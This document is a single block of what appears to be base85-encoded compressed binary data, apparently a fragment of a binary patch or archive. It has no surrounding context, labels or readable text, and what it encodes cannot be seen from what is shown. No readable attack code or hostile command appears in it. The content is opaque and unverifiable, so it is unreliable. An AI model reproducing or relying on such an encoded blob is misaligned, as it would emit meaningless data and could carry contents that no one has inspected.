z4UzB3}KR=>SwQN%lnV~23LfCt)AzY-)Q#{fC2mbEQKDWaG|&ah_+ zmHT2rV=Q<^OB&C0oQ3VO2jq~?~5fBhl7lqWaDMA=TSvXZCC7M&zPD;7`0TVG74aaxy-MVh`+9frwzg)ZG zg`FE#Y~Q#H!4(wmhx)oDn>1l%UZU^9K@gIxREs>aJa}#W642Q8jVpF-5VBL8eZ{t# z6|N_4O~;*T1MOU#_ovwMt%_T$jJfW_4^Y zAD^y6w$(@xH&VHm6`Sg$h?^pnB~n>oU(w;!vUSsI6?t`Q-HTi6o|m$@?!}6{ytxi} z72&F;_Qsjt?3-yR?@oJ3$`7cvewmQE6$tl82~311D24UPy_Z+C24Y`bs_$KUJw%tz zSh8^zIpZf=zS-FhqP>tcO8`39T(~OGPvfb*D_1NBig6 z)h_~rcJExbW83QOTUTw}{5mUi)Lb0`Zv?Dl$%i1@&{%#Hvx@wwtfgy~=)3>XcKDgx zI69MY0sV>6uHF1<&F0r?>KWZuuzdywTK2}aFoqv75m)g2w#7XonTScm=0(lqpT-6K z-796#9WrtwRWeHchKh`k{7n~`|8S~^+ea4@8$UAGL>@2?bg^gHVeLVWL}Sii$V$9D z)!GO;CHq$)P#+Qr z_eDaKkd(qT$Sagmem&mqH=i5i4Uu;$X$H4%0*Ekf@?+?}OWr#0CeHb{R=^EC@XyBfMDBX;`>;X%YHxuFjEf zzI1JtB70T;bJ~h*uWyw8K=LUp$Z1Goim9PL(b&ZQ2O`D*BLdlsg782~Dm+j^^9MQu z3{+S5lBkGID5l>E2Eqpu45UP+1S-F^VZgtiqm>oJlz6dE8=n!Av=L8jLL);36~liqA@eEG3ZG7Y?SJa+YK3)CG9o?iEz=!e+a{( z=Cxjq6q^!WF{k&tFd5PriWc?2vMe$TN=AOk%cum1apa*$urCtq(UyH7A)HZ2CBA7g zpid8`cw4(j4@~1u^_an`JJKRSV$G%m;#G%k zRmCAr2K&tSW~YZYR$gX|Dbo9ad4lk8kJ`7?uaI>#r7euHR$?F-J2tzTD^CDU56Y+f zx-ejzz6a!3F8xedXB6j2$p^u9Ikd~6SB}SX#{0Zc%+4R!j&udRB%{5g^%nAsJ3FC7p-)@-2D%%8{gX7L1Ajaydt`pxG-O6lnO8?NtFL=80f^Jk5$FS z&x{KL17QP_7%1i*1_O~y{f`R+RiPgVjH)pZJ|eiL#uba#-k%|dkk14R3J@Eq5ikPs zqgnhGFi_5CM=~BOlJr_)6vxqW-UNu52dhSnTn!9rlqbCDSsq_)H82t zIe|p#1+6{16V_+(Lr_sCFM^m5Z`c$Fi3CFI7$bErHVAazJo7!w3%SZH!@&?zzC7VM zUcM=+0b69xRB{TG`&=f%(L`$#up;GbBHDcs$E%6Rgj5!p7)gkv6XcHK_#!!tOs*3g z)?`qZa@AX{_N`veuW}r5DEYAFb<6W?%#)RmSUhDti_&Bk4W^#rGPq?6X|%+BRf_e> zHnJ-MvVl_0Q&PTbEl-kmYtv*}#*QiJI_7!(m3?QhI5N~r*3D*=<)L6Zkh9?h4D{~{ z)EH=GP`B{9i`e8?D@8&d>4PF^k9mR!(!j(*}DqaTk#f> zw~wPJ%!Ek!PjV_BhC&DF#qdZcCYc@MNlGb=id0(GzMy@$81ZJnKt4O=YceFuw)K;5 zniv@ZyU6D~rFL#rmP{>?mw_l^s18|Ym@HnTaSM5ke)|w;7egDvWGX_%G-2YANqBML zVy;ixP*K$~Fvv||CGq%2C=l%r0eUP>Wz>t~Gl{;#qefc?*`>($<+FDueItdiC1mf# z`&&OCK2M}OA{3l9+%?+;gQXQp<4?A8QkmbSjKD}mLq-5iaG4^5{>Weh)ppnspK;+w zPf9D_kjQ7{9T5R3S$`a}j>o7t4KZwXVW->LPhB>~NCwMP+6Ac~(i>JVP#MQ)0EirD zbPI`Ogl)yqLpdHQSVf~FUT-&%_5uHZNGcx_r^6u*OXb`cNC#L`-aV!iTqF)&GW8$I zhzdu-Ixt6~Mg7L7t%z3+=1DPPIVG7wRkdA%Oq$HQB+D@l^d85(4Ehk}7G@D|`dq@v zy}PXK(eNk|^bb&#g*bEGLsFp9MLdF_yECrzB|?LKS64=Rod_Qb@hBs9C2VuLhPZMH zyzn5>Q5&-wFiUVUfj3Oq+bvbQB?z+@p-%VmQ?ASH1}%?9M;J1(PjT zPaG$&pBs@CB{>}zChK)Wze#6poS>zbj~)nv-p9Z%>3x2}qk?nkUZQMgXp!N;^gm82 zutzchqX@89M))2n@JZrb5>=0t{IVdW_P8PN1b&q(9(OOtXJ6gVnuBl_Y2{gvg&tVw zfp>Thh@{W9k15E`( z#eyGv!)RK_`v55UoR?}N1oVn3EfF(WJ{fqZFh}RgVGKtcFc9eJ)B5qT^Iu<9jKf&`(TX!z&GMifF!a%aH4waLEJ|q<- zNj&M{NvL0>+H1^15xBBXjADj-lH(KgIkQ~*h(f-9f32E83#XHzWNrvy8_o;D0y0U!O`$w|Rgl5o-) zkqQqaaHLMXR2m2Z245Twu8vU|ThzLulX+?aOU;3SxXrnQP6qwZU98Y!B2NLi4HaX# za70Mt38c5XI}VBb7BM$9A4u2hvUE8u?b(D?9rvap!fNmuZgoP0k7#Iiur2Av> zZp(ykvQiRDVL%MZTvn4Qf_R8rHW87$a@+#%22WOg5x^{ZjFdmXcbv3D-3%Ypg2;SG zy65>~pj^gBq8b8Wcn8pcfG50niCW?dC1gRfxDE43ih@UE>xc??O>$Vd&b=^=$!6Sq z!g#k>Or2;?^d`y_LH>^1OBA&r?6fU77=xdx9x22LJPG>taREl!o zC{5md04b%CN&U%mU!;@v4U&C;VX3Ng++?*B^16~Fo)S4OJ4FV(l>VUv5`}@N0Oxm% zc&vkrl+*{1S%?@6v=Ds(7sy|p#EIM67j||hf)7D`wkewhvM?cjczxzfo`)gD<4(JGms%a)*QA%NsrAG5Q79gpk4~_fs-VO0+f_phe%$n zt$8o~1NkQ^KKcz41z#cUa9f*G;XbG7nBr+lggR4^?r5Mb=xO2ZqJf^6uRY;D9x?CB z1zQrHrd+f?9UU@`HmH<`4j5pAC?W_3;=y&c9SZx%U9P47=EgM_Z~5ZMln`hZt=a&d z4FvJZVgk7DSS7;NDJw2p!e9BsA-A|4d4rT#cG`MD?NpGU{1Z=^$_5-kD^P&3fZRXM zGv|TiY>y?-2N(nx0ulj?GFczFB6InG&ECyDij%qq@RwrAT!s2UB6K4x5_t>^HuB9@ zDl|EY`5+JqLI@-ze%3 za$}Kz&yIPikTV?veR<_aK67%>$9A7CPxK$IEo@c{Wa(@_+Sz{W;Qq}gj_sn1v(Ig! z9DPqu(}@#%j-A-u)^^ll?PY!}oZti|5F`+|GVC2plZ_WcqpLd`HKrqjUi*<^uE*y& z-q*h)67NsuZT-fEXwK7XXiemT@wC@L(x5nrl5L7}fZ=%#3?xbbGJbF+z#ytXgMk!3 z`7S9QWWB>h@|)IuE2_Ad3V*AiPWzBBVR%ZA=Fm#uM!x^X^#SxS9jxopPIw zC6z&3*-B{_jGYdHG~`inZ?DEc6-OKz`yG@a9LiAW$2X9VjJgdCL0elqfb-Do=CJKs zR?I59wy&zMUA(n^+1_1iB^f5ImeVj0z0}&YNAyp`VYBp7oX&1)4SBm&)#I}sR|_LC z@2Qm1n2)s;<6XH(M^b4?1X|PnCN&UT-t7cPWkLX_MR zkzxU3Tl0R!BkH#VeS^?HSdL^NYq(F%?L(Ap0`ve}C^!`gP~cq%)T8#G%Q-Cta1V@% zj9C$04`J?v-?A9nSfQ%+!w>xIx~so^%S~7P(Hch^WC4?|>c70~loM4LXO4VLJhLjH$EnKo&{{Qa+HP zcU~8Kj3=LoyB+-LaXSDR4#P-CD&-excEM6uJ%}>%3}zFyfTKI=?k^~#dH=8)F=i}n zs;x_P_NvZ4)zYnwb_g-{sFvP%%i)r-TlJetL37kQBshtf1v44rB{vA@VLT@6pQJ}j z?$Z>+AsZMYblA!|c*tt%#Jtked6c4QFdUL6klar-y}`IHM@?z&;Rw{f#EO?tOip8i zTC$Es+w;NWNzVZ_)8;p9Q%fUm!(pGTbv)~%9Hz_MFELQL%xc*uT9~wONH1mVF>hDU zc2Z6Bq&&xb!<)xK$J9bcHh47cKURpej>r45N}pnD3psjl_r_PQjHM=>$MNy3_?ts+ zX`a_0FhFh6->+sYF?V~$-(~OLt7b>lcz@d03C%XEISimPm(;9(nJhcIcdT|;yMPfg zxs)_2$wNugSbNJp;oIaIN>DW2Gk`TS8y~TZ?Dts?jm6u>V$Ctv{*Yx?CUA5--ckrR zr2Hpxz9R+u_O(xbJ7eAU%)MXpjqV(a^(K^_Y{HC#lrSN|>hXpI%&krPz(Cr$z(59S zZU_fz?7V_&5fvOqhT06nT_b}X!vmdm3)cf>6{JRVGU|fqK_qD7QhAiD^U#66@IWvz zrM#c}vYOg|^Q(KZT9I?4vXXx6kvq-C?pZKU-4d>0E`K1nA3zUUPv$9x5|_m?&pCGy zHLcG&YtdO}FJg(Y4|ml#L-zs(nk-RX35uz( zLFK?JD^+}tAKB~oQ0F;#V9)MT$Bs9hJQWQ198Pmv`>DpJqh{*>tQtyI@rijbgJmje zg8oT`h9a)6kh3ir=sme_@un5GzVh2EUV83F4b96Ok%ph#`Slwg`>{D=FeObRxFIuw zX7KMBiTg}R*Km$ec@_*LM&+i4{p~Hsjvd}}>iB`?hGPM*Ese*!+8c(3Iu0J( zN-b+tys&gcZ6TawUH$2pC4>=FF%|+NS@%H7*4e!N#g$iIw&^F|+Iro0cmM3iJ8$^$ zmY@D$)79VKbmLV=fA!$87oN-vwx+DTn0rJrp}flx#`y{JmH`hEFZC!$gW((PXg!E4 zjHH4jGsK@m{S9Cs!*EM)*Ae4LvrL&ShjTehiX2G(5yo}tMZ^}(i`IZocf@PJNT;f< z`+oL?#ZP^2$y48Y=AqBO@aPxUzWjssBhRV1-hlN~3a@_qKoPEMHVni@h%3d_sg~>$ zv7Xj_FYa1>_pX(!OqnZly6g(> zoi56y-4YApEw1|m$&R9ngx!$5`$qA%&l7|nlG(RqHAmufL~xWUyh@|g4b&nrRIGWuh*DN27p1VN24zM z&xQsXfl%mBSS8KmC%m)Y6$8M+MK1KfA9)W*o48($0W*s?hm3WxonNFeO8x^#3)#qc zF@?ZOMMJ)ph7+nU*{JTQSL-&abv5el?e=A_?Y#dE)j2XwF}Q@&9vE~aEvE2DB<94@ zgd@G%KFA8o!}~Xn4z}Wcgb0^pzu9K$>FYWM>+Ix^4M0mvx?aG3jk6#72UyK98kWax>LD zkVHjl-Wztc`;3SBPpvvs`>?HTxteQM(F0-MRL$khL-88^qyB zQb9Tfnv9|sf%+mN6hZR%9mj)R$zVs!+n^Q(p_iU}=v$@0u_y2PlA3N-B@BW%0W?T&V!BA@fg}dv&yLppeC<3_yK@k~W~;eLE!i9+d!Byy+p0RKrcS97 z9qL58nu9;%9qUrnZZ&p9Ej6mXEo$tLnr=v2cm49VuL>7we>WHipo6JM%c*GXXgk7t zEBLcO*#Su7lZl0d9{e_MA)qbAJ*J)NeJLA%*x8W|qw?da`1fn)pVP$SpR4f5v8 zE7zGnoSdY;7irTuzSA~*=WRCvgNnKMJ$L?WqLl3GX(;4EQ!o$)xUh-j(Wl{o(0%Yg zTqJg@;lU;ZB*gUY+;bNt5`K@z0tuAM#oTVA)jAC5fv>e%2U+rNIh{s8lEYzO3JA!< zqX_5&A%ym1`XS|yd}vv?{e>QQSM-2Pi3EcyvoW&mf(IYxUfT(k(x@z?9JX=;W{peOO5oZ*z``os0 zz}wN%eEjecyUB6tXhZYK)`Rrgf;m<- z74295bZpc5)j#>JYV1xq`V(=>kfXyAGrH4GkzUVZ$RvC?T;q5| zC!_8X0*Fc2gGtbl|*GO->jUF`>@Pqg%+1vp0Bqe;qx zY=N|dj)z5xqwBd0zw(r%)E>Y9n5myVI$T(tGG6t0s^9V?! zu{E|)V3WJ$z>-aiZ&%apS;wv=k6ya+$?vRq@`~k8Uh&$a-^|!|PWX@PU45^mttR7X z%lL%rH?$~@&suPq$V@}NACaXgEC5hg>6ZW~6KKf>PBrg;_T^uGd+Dz)f9;o-s1u!P z_`uR%U7GeDu3(_)Z{3!<0YZwSZ$VcKk zszkYPy6@?1I=FB9?j4&C?c3em-ew#g8SV%F^z?Ri7>B$1yH9nu9~&8HAuNuIhwRbJ z!B{p0;m4JO?RffbM=z%!i32YDciwhA0En~>d@KZoReYi=vGG$d5Gi*}JGQKujExT& z`8KiE$#jcEh2Ri9UJAqFeBgbH+-@`ICmiwthAifhOeSKt8P7X!(OHXxX)K+JDvIla zAGm<^3om#NOJEa|LM>K*nEce|pDVV!@4`jgyQWEJE*E^I7kXf!2i_??ARYK*EEssG zyYnbM(b7q1rZ5_ok|Dos6h%R9eMq2GHWZ0?Jq|4{O!@=C0}&S{{DCwK^ruS~E&7Y* zv;SdWW{$);eWJBMq;eFo3^qRfQs!_w!=*q=^F02UTtjsm&5%*17Rvsx_ORax20D54 z(B}G0$#`PVuKoM=9IRPi-`3JuvvK|4K#$d8XlyvSYuAolJGVABoxo37%xf`fgoh%& z_H?){6K>8bCs#i6JvF*hb*(Liw>|U1<>vH}%O3s8Q;p9*-2B2XdzU@hx%BbI#b18# zTi5>P`qAhBj?y-J?_|EBa#}e#JX;%1>`%r5rF<%rh&G)(=5;z+8ct=hiDWUB$c0Xx z+)KJ-vQFm|C#XV9%44Qr!sH3`hkSimXOC*@Q%$|gzjblug{Mca{I2n9-*8^^4gVLu zp1R~p|D~7rU3zKk`6plg=I8Jkin_X76#7ott%|`Dvj+q>;7lh1m`J!yLWE8o-$x)i z16$*%eb_i~n~jCtc58ok$Ehv#t9rYR;pQTNj%0xJPtV`9v=BIA`xEkF5+7 zQYbJz`F_aGC39rs3SAnDf@uPN*LmlHf&73TCFu3IZReePme1>mgaf&3f{oEgfUgx8 z#PaO31!;um5T>zs!p-gk%Hc?do74wCc(&Qnlg%pmLdfaFf80(kH6qu98|H#6^uR(7 zyhD0G7DUoKLD88gN!$TZn6gmPG$EHEX7H%Tb>2CPd;t>}D4O&*oul!vvnoH3790P& zVj$f$^$k~q64Wrz8H&U}Z+O@@-Js(4S`}wR{|XFr^4P)7)+USDc=Yg*T|0IkK6tFR zdtm?G1ILdYId=3Q%jTvA{v9~5uci5v-{%yC8vG*^8_(i+8*PvIjwJnuUVrM_`H>~r z;g^bmy4Mzee>8RIi}(ENja%-zvhLPPYj66|uKT{V>c$&3-uqzP;}>0j5r(H^!C%f3 zJrw|ffjZkxfPs=RB@t2Dn;Rm*Kx<<|I1=#2JWA4g^7!tkhY}p4IUgA;g}aH(*Xxc9 zd%{B`j~M{vKpMaEkEo6z)jYiMvP-g0JYoLEx7`2swfJYhmi?!T#y<0n*yk>`eC6WO zbHCp3gRf5*8spB6bk^bU58J(?k+|3Iw|ZSb7KST9j}aM!rxYU}Y{A}Lb>JQdDvuMm zgL9AV)QLTKOiN!MX(EvrNaCJZFpz&VZ0^taZDX03*JB?v^!E+5Ocb5PaI5OxRrl+! ztDY@8pZi|Pb!Z|s02dMrJMF#^LL5E*A+k$*-Cgl;f7IWRi}tF?zLdA&=?AV>v>`|YaptF3^ zClblzUGC7J&C%v{w&lWoYJRlnKD_*~OV#43j$L;yee_?KJpTENYm-`Nc=7RX#r-Ft zpk{qPUA6%jGH5ft&q5|hwKy{UfHM%bBqC0%iul&Boj-~E7Z}KA5*SFa2@Irt-n{&Z z2k<9+(ql1qJn4_b{d5A~Gk{>CU@`R8srlv=Ph6x%>o)%C6KZO+8rZh(+3&yf&^JoT z3B`6W6YKW5ngao8<%b81hGC1C4D8x@V9(B-TkDS>+3#_Z_tM96hwPceK;=AJW!L_>429xj znGFL)e73MxU?8Q8fp~vN-XjWnxLw_(CyghqiKGjIFEMT({NOpMWCWm-Oo*k^VJYNO zsbn-5a0?ztlT12R$fsG!W)e_AisFDJV*ZEI^n2d32vo#UxK!g$?HUnIb&er0P$c3^ zB)oW7FJPbr2)NJ#@1P#gG^7rL+M1Y=rqIB1VIZHylnpCzy<|rN0}&VI_nRwuqGjFq zw*&*tnB+~H^G*HpOsgAK!j-4bAWwVnc{i5Elyc6!GTss}sI%?V@IW{E6u8sg+P1lF zOKWr6fqe&$A3n5u`<4Uy_re1KfS`gpJ6h1WkR`Yw$CRObVki}Ajd+e^lw&KNzCv}a z5A{5!m{z|0%J)2_=C9xPg&Wr2a{2OWe^__d7hd?@t-Bt*am`&OKAXsZ_N zZI+3Sh&dtyjb3$?q{bbsd)dwwej2>yb(5E1VPxd!-2W*?Al=Az6E zJW$I4j!ZUZQcv*{)P>h?ar>-x*QnLrZ!$LLlEZ3Yz%#U==EW=2VC}Z&zcgWAsV0uO z`)U*RLuz)g5bg8YoAX(x^oEW^Nv$CaULgMNmi~rH5?FRn7r5MOED+aJAc07-HEQSpxFiyIKwHi|XVC{faIV!d>i64OzW2Rn^GPO?3eX4Y+h#Rfc;Q)q zY}zvm1oQxON~IWoq7cDDL^fbbR@F3r;z`XGJgG-VJF~fPr$KlB{&&Yf<$6hH z?u9d73?yBG&iwfEYgwrkC16nbM4Cmcwdu%?tu;G$Y;J39v{}tZ4jChYs%D zMUZ?`m|?hX4I62XRIqGjn*-^tq6j(OLsV<(?{ z^3opHj?Z2DkB{zr?6&#`Zrc2d8*1;lVeK7Xx$hg-JbA4#K4kO_#8OOfXT?AkC>Al; z1RbPCY-v17czkQqiCA12vGsct8&PA~hzCL?8?c9*urG#S!V*ZD+yUwx4y1AawDhUN zy(=#IQsVae`~UtkqyOcTzW@3e|HuBx_m}@<{F{I5{`jZN*I&E((l4sko(a!j+%J+K z!&`uL;I~NAr@(~N5D!mY8BxhW zl(rxTBRGS^0W&aABruSR40&x$0bj2-IAHVj*t|_n*TH9>ymUOcS&i1KzO`yF1?rPs-n0NZ2M{o2hT9^!ULXhF8$ReYGk# zQ@hk`XkGpKbK}JzenNIj=epG|^3G_vB?a`+I5SabLc>5N4FieXo0?CRfl_~%0>d#+ zG~tUUJvjG}2z%u#w>|sFrOSTxwK4aG&Cgx*`Xirv{uh@dosH^*({DZ%a`)gDj{^-1 zhd*cwN8Kd*5hecumhR?*QSS&Ch}1_~igSFk1O{S;M8>9g*iFdc*1DR8Qzu$mnz}kV zw{G6j+fBN21LWw5qx%S%#BUk~NMuc9FOo8pgX#1Vb>$jldQstNgwUKk5VJI|dDoUT zgzjr8rl^=9nB!Q~=yY@{WU`JL3BNa*Iz&kP*^7pUJ9D`RXy%-A7LAQ1@rhYj>JW-Q4L=!$1je0)(;qw4GY{cdTrhNbVflyu%OCJ*O2++eu7$7J&VJwS#NH4U2 zffgX(LJz!ydO#!xDq|r0PnsI=iB1v8F&75%T886(2M$93pk&S+j@#22KgNn3^{+De z%;16czA1kofq~B4$9cX0NN+#ivz%%Bs$!Y)F3Rpl5F3OCA33rId{Zo>aW6P|;uw~I zhT}(09Y1v9$ibaEw(zIhWh)jkgxfI{7TJ?Yw(IQ-`&uxE<)Y0`KXQpW-jH@}EXEEz z_0$!Q5M5ekxlHmlTugGpfdc zmoNHa;^8NHKKs>yzyG}LAHV4OpPzUA{TGJ+@v|+T{Ws;wUq1ZF|4!4j_o9(nEG5Yp>S{aaX5zKN4E*|x(>o$|}92`b+#jt0T;e0&p^;$YXZ_pbqb7wkYRmWoF zai*Gt;%$!k4?X?xm&2xI8TadIr0)4gKIb#msJR|~@;X}z8A~cQ6c2R+hTI;D-|zRh zow+zRMhkSzc(CVJw|_&%f|ZoxYQA5wH#&_iWML2T+@*PUhL1ncXZ@PzSnk^X`tl{e zc00QF>|B#eJE)^iic+=BqT9zPDZi4Nai?o3}0>Xxf0}x51NW~d( zD#8k8b^FY2GT%fD9!K+U9{quHs7{R?R#OL5&&CP&)>j_;NhxYJ_8d)x;gB5oZ-qkc zpyKfdTw#($d!dmXRTzl!c0-y|xhVDm_6mB9c;wLL(Ee?^wr|?8y?)Q`?R$3bT(f%R zo?W|RQ3ZGDmd3-qU5)U6yz@MI-VNOF-y#ge{Te}IySA*t2w07QJno)s#(_BxTbS9> zK`CO95a{ehfBMn$;B3NS2kZ{m1%e0v9%=i)$p_9AjBl2r&dAYOQbu``wSX*m_C^0B}Jkw0@m7JA^F(F0n7L|I9Ykdfxb zy~Kr`#wVJZRO(oQ+E!p7v!f#zHIXzGC0vDpw3?}9f1o#sf!;K%c}MJ6sTMA3hF1nN zF|f(n6nGB^F5NbAVE?X7wd;^QJGWp6K(=qG#UZ+_wZY}IFwEc@EDHZdj3o0-NBT11 zPBQsE|HKt)_Jo=vv2XKp&;Ho1G+cZCw;x(^_t$Rv@+W@q@xfgGXl}q!GPyEFOJKki zG>XXf*)fo*@zh@GYEd=;!U^65Foc&hQ`KB4g0wat0t3Zd#!LY37J*s<5u-n5@&!rr zXdVk&33@N~wmtOEANN1)#vP?;(^)TM-5l6GGw!#%)~o#!NV^;^i?%@;K84L zGOIL%{jD}vr`~xj8~Qx0Wiy(OkpxARCryzrqQN} zQowF$2kv;BJ@l>5-N&z)q}^fdz#zDN%Q8{bBm~(51`_B81EPk3_HbluVIrN9pRjf# zCf6rKU=$S{q>mA%s^6f~BuKdj%pG$f=sKN`01)Y4AhB}`JZq`ruS+#EZwkn=_{{1^WqCnuU@rm!}`_8=m-VZ zhRwz<;5hJ?xtCT@Or}$s&HxcxC#rDFkw<$D9!Ow5{GWDhd0oRmVkRSDG!<|;nlCVj zEerq@PuRV_5iDYE&yd~G2V{X6!hMI_(0JD4IS!iPSBM<4NCR$ojX^xDu!V^uX|zn{ zZcq+8f_}g{qUKqdZ5#)Y-D95`KmAiNq< z0WzxCtnI}KzscSf)k3gQEIaC7)_5Rexo*6`KuwE2_ItuW^DPDc_Ch5M17X9`F;JNe zB6OA-VdR#DLT_q1ym8~oefzdGG#sw4U9)pb&F&p_JGa%=ZCYPjyPA!(0RzE^Fr`*J zJ;l^$*xMHOw;bH@+vlG6=6$#P^RrKWckAX~**pywUG|T6J$_xEyE&q|?df52v}f4c zW)BSpB;(XCR#inyll|+Pt5TU{afq6YeQ=GEl)Q(dpx1Tt^Rj!Cy_wIfQcT-=M z&}E-@u(f4xjO2=%!#gyOtZfc0B)OlN7)WHw@!5hNhoS_2^V?tF|L`yFfB4=<9=(Id zp{5L$t}XXp_a!xJ!p^0RNAA7vwqHK+$fJ)v@X$kdyB$=XH@NLXfP+-TN!?ipAreUw zv=2ta4nj(pCw}$F!;jqm+h?A-=Gq_U67GE5Nb!wd-~XM2>r^q^>oGP)L3>_m%KD>0 zx7#ul@tC82yWQ$|{<&9fxbEi<-Fxq|Pdr4~5clY@C-1*vBH8uu-Cv_5#dzNQ>nHBM z@rG+|x%uuV9)AjB(5x6pS_8pA>4a^p-~;`*>|OhIuVLeO5k5wgvt_$+q;c)4XOc1T zSa|ud z1!6apycd{k*Vg5Vmx^*42GZifD1e$wSaW$FabeU2!zCzR2m*sZ&zO&?-#0!HCZDI* zH49wlkQTiK!Xy2JgM33oVQw!8X?#f=h1B<9nzV4#!7cXV~&l~fNHI(d8-Rk#lw z*xb^3=+Kevz5PwpHA^UtnBS5J+O#55Ha9U@5fi$bfi3A7EqM)U*!B7?H{AEX|K~6M z;$yG=uYXwfU;ocb|KTrJ{>}ef_Fw<^)Bp9qJ@dIwuessJYS@`HbdHCt3FlD8V~V>* zg|kRRm;Z(Vl9XTI>IZ(MrG<=?&pUu?zJGm)^7`Os%<^O8N%@4V`&t3LOI z&tLk@i!ZUucpBD%e_P7eMh~lsZ-2R_jb?v`>_H&nC`t=`w z=j&M3a*=_Q(th7b9 zU*AUccr7VF`)}{NH09ir^Ediky=26B{`p^Dd)-yfJpY>~e*LJ^WA*rLr1Zp^hP_g_ z9F^n3`bp271bcb=aR3)aVXefQAVDKG?4B<^|I2OL)@|RukvD(Us>LTy9u%pT!+62- zd_}lEu$UKsV(h@*N|w>G8;}4%Zw>>IIeiukWJo3Px*Gubq5D8K7Hc=?2UQ5Ool0Z0 zviJ5K2L^$GNRl3lW7RU_HP4*Sc)-BFgX!8 z!w5~1rN)y7YSu4DV2LnN$k$irsN%COzY%O+jxd+gC@5Y4sd5fgV8EUF1v9as;q0E;}TI6^68=&y@8TiY~)A zX`r2hs-s`E^s9z`b);9wXs>GSRVk>1H*`SQFUS+<50foW>^^yF{TfcUqP+~WB|d-+ zO2%>H-=0ZP>ZL~-%S7dQzbE8V0{*Z+ph++g40wpk1J8;2A-JYu>hjx(h6@A&{-7_Q z*u_<8_Lr%zf#4Ul4l$9_$gkMF#H@up9!2p6!(=xCMUfGa1Ij8Hq(-FfEayVF28u7l zz3!NoiV!{;vxWBbr+Ab~cU)J3q^%0Qkyxv9_Aef;IYoEs) zwsYGGEMfp7wqXDAd-}mi03%=%kf^PBx9}N?+K4X`!JmSbaCP^dy6ui@{^^td-zWb0 zZ|}V0hl9QQv$4TkxGNiIR!sYar*_=#aE<=xs>{E4(Pxk!UUda=WMst%hJXcD-fCca zE@^3N*qn_GhdtfgpdJ=baa-1$oD^$!=keOw6-$>s%aTOoBCkf=Q)T(mUrWJO5~C-D zAa*Gd%1`>(&Bza=m*53*k!5lFmX&<|f{qFfZ>fD1yQHi?Pp(CgZ`$66K;(c+szh#? zmkikLgJ&w`bIFq~EEjrUp$Gnbdq8~qqUxV##AxcG2q04zy!SAIPgM(L6+seIx4F-2 z?Q^?&aHTLi+O4iGF&CQM7WPIMXx+M}(a~Ta@(xWTJw(JX&5EZ4Z!sUAXagEe)<}}2 zB2jaIA<_!VEHW~iFp3ZUUv59+jMDS+%bvXE8U8?JNJls^B6ZLb^Du1O43%JzXa)lr)c$wo(HklQ2jW+7t=&!W}|10HhZ@7wL$Yc1r`C@R<-r zCq!N%0fQLbXG1@8V4(7OD;bhB03@W0V6=gUA)iDzS&u2>6%IN`$~Rna4^Id@G{~~( z9?W>f#fYRkkr8jifcVQOstSRf0Sr1#_RB=f)ZDNGBm@os0Kt@Ksfx=$BoOpy;v}dC zFCXv+y(G(;@~0?W4h-T~g-nUkL^vbMlvZj@)dN}u28B2*IR(nNs$3?F zFe_r36a;`}2WG{6)|iiVr*;ia&B(=L;vx3Nl#W=aB^quCg*$>_fq}e=#}kZzt|}Pl zOuqu&e9#XeW4QZ_3^r)F1B`eJNuOvyKNy910(6?pCs|DUguzI$dR)W6@l*zkW(rZ8 zC1M6}6w(;B`a;f@bg-LJXcK88gj}{rIrTw$0AVFt43SE}hnWdOc*H;mUOGMs2FgT- zct5q5P*g@ksxc6J5B|sbq%NVp$F%LWt-jqT78{GZW6{p^iRvTQD zL^y+`NSA`*L;WFI9$3=J*vXP29T8-T6j`5~?J{Y~nH~8|&OS>Uh<9CNk#i}S5^;Bc zbJGlv7Jw%roIpux=Ova{BxS-G1>*uE6BIfglp;okBzV*ZfN2+0nSmn*gWa0+i(?W+ z>^0+e5+OAoWg>7r_6>@&)80!+Fm@S{Z<;P8>iZ0&az-ulp4ickp;QRNq+F4g#OZJq zio01cU>Cqqnv=#oLmAgl&N-BKh?SIk2)mE)ko9q$TpLf>5XC+AjIN||wdI#Vl$~cp zuU^W8zf==r3BZL@Wb6m#aIegTa6hazIx^ZV?vax7M z8((n58#H+F<5oX-@%K%BrUmqQuHrLD7s*BBdnn zyoUS5I^`^2M_l$k5(wc6hMzm`FMPl_10^#a3_v7(7M<+vPliVd2@~0je71IGIWDpd zC7l7-*04F2bh>?mVxy-w92x<7f`MY8fwrbCab-XxcoeUnc;bk5zhwb((E~sqf$u|h zVz0nMq9`x#1MlYyk%cUf%1=BX(M%jrdq1a%%nynGwagw#-m^VBHt^wdJ@}_@-Siqh z+5jV(4fHe)_BM63pF}!38Z=?0T8=Y6IWy7sk_UO?Wqaqz1zG5Ug&uf^^gu_~srJs} z-MvlCt%q6f?rk{PaGnxYe7mDuPJh-mR&i zHADWxpf#z8u8_CSN-{)t9I>4)nsN4-*E6|AX1kfW)UdC0WUxsiIe@tW3JcR=#1M@R zA+hLyE>S9nXdA=P5v1H8!WRCd^0`?nb#Bx`&qhd-C`Cr1v7H7mC3J-nGY8@ZB`%Ib zORxg<=c#8BiwuQh14;tvLs;k3sqg?laXldtJVwL=t@JQYiX(G{5Pkz3iUzo%D-mBP z?8Aj?UhgN~%>vnrI=gl}xCLSkSm+$_B85b4TEW|e9dwatq(i1m6iYmxg2EFJTe!y$ ziWOKEWFue)=>UQw;zfd9RfH>y%gfzaY|b9LqX+KC?d_ug91IyIHb^)evr-Y{eYnlA;nYDS|8!yF}8WKuBlXN5e2@FE_N$A5;tK%pr zbbex9SeZV)@sZEu>@(YFoDGv;!Q4#FgEd-3us#73wnmJOpd6CaQR|U%)C8Z0+#>QuZ4e2>_!aSU=6uJJ$~?N>nsK|<)l zl?YB^>axuGh@^I!up;Rn$Pc8#Wat+oRuFH{Y>AkRF%wIB*yIR7lL)dz<4Xi(;s_fA zaiTz?7+_O``@Kdl&2|kluS(-iG$w53lEgDSQ@gpB5nYb`qG|+H!144##z6LHsFdpw%#-Aq1aqJ>YGv|C5NV=Af+Id?n-Dx4Ue*0D zJsQ~~*dyp1Z~zC)e}Vf@6V2}03hgcKoYOJ?Zdj2K&GRSiIr%h6AzPvPAav68j`f(OCF zmp{Q7;3}^jORI&(TEv8b`AL)#voR~UL=MwGk>(ZjGf`A0O6tV85LFkz&@?=Bh6-KoxF8EXu+RhV${r|bGa|X1Pz&)yh~*r! zn(^|7jsg*l^Vve2kP+0csF@lVuEIdeKJwWUi$1n<(MK1bu4bwzec-n^jJ;9U5I)f& z@*)jI?|{01;W)!3Do^4Yk^Wz+5&#~;D8RIsjlxM*gFzArp)0k+&g1xJekHP{M#+dt z@Z>yLo3?5-w4FqVNcS2@Ad#dF9w=Z=1}v$NEg7bWfyP~F*}E$|5VLs>3)$mI20en> 